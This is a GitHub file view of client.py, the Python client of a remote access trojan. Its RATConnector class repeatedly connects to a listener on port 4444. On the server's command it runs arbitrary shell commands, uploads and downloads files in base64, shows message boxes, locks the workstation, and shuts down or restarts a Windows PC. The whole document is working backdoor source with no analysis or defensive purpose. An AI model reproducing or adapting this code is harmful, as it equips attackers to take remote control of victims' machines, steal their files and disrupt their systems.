-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathclient.py
More file actions
95 lines (85 loc) · 3.58 KB
/
Copy pathclient.py
File metadata and controls
95 lines (85 loc) · 3.58 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import socket, subprocess, time, json, os, base64, ctypes, os, sys
class RATConnector:
def __init__(self, ip, port):
# Try to connect to the server, if failed wait five seconds and try again.
while True:
try:
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))
except socket.error:
time.sleep(5)
else:
break
# Function for sending data as JSON
def dataSend(self, data):
jsonData = json.dumps(data)
self.connection.send(jsonData.encode())
# Function for receiving data as JSON
def dataReceive(self):
jsonData = b""
while True:
try:
jsonData += self.connection.recv(1024)
return json.loads(jsonData)
# If ValueError returned then more data needs to be sent
except ValueError:
continue
def arrayToString(self, s):
convStr = ""
for i in s:
convStr += i
return convStr
# Run any command on the system
def runCommand(self, command):
return subprocess.check_output(
command, shell=True, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL
)
# Reading files with base 64 encryption for non UTF-8 compatability
def readFile(self, path):
with open(path, "rb") as file:
return base64.b64encode(file.read())
# Writing files, decode the b64 from the above function
def writeFile(self, path, content):
with open(path, "wb") as file:
file.write(base64.b64decode(content))
return "[+] Upload complete"
def run(self):
while True:
command = self.dataReceive()
try:
if command[0] == "exit":
self.connection.close()
sys.exit()
elif command[0] == "ratHelp":
commandResponse = ""
elif command[0] == "cd" and len(command) > 1:
os.chdir(command[1])
commandResponse = "[+] Changing active directory to " + command[1]
elif command[0] == "upload":
commandResponse = self.writeFile(command[1], command[2])
elif command[0] == "download":
commandResponse = self.readFile(command[1]).decode()
elif command[0] == "message":
# Shows a message box with the requested message using ctypes
ctypes.windll.user32.MessageBoxW(
0, command[1], "Message from remote admin", 1
)
commandResponse = "[+] Message received by client"
elif command[0] == "lock":
ctypes.windll.user32.LockWorkStation()
commandResponse = "[+] Clients PC locked"
elif command[0] == "shutdown":
os.system("shutdown /s /t 1")
elif command[0] == "restart":
os.system("shutdown /r /t 1")
else:
convCommand = self.arrayToString(command)
commandResponse = self.runCommand(convCommand).decode()
# Whole error handling, bad practice but required to keep connection
except Exception as e:
commandResponse = (
f"[-] Error running command: {e}"
)
self.dataSend(commandResponse)
ratClient = RATConnector("127.0.0.1", 4444)
ratClient.run()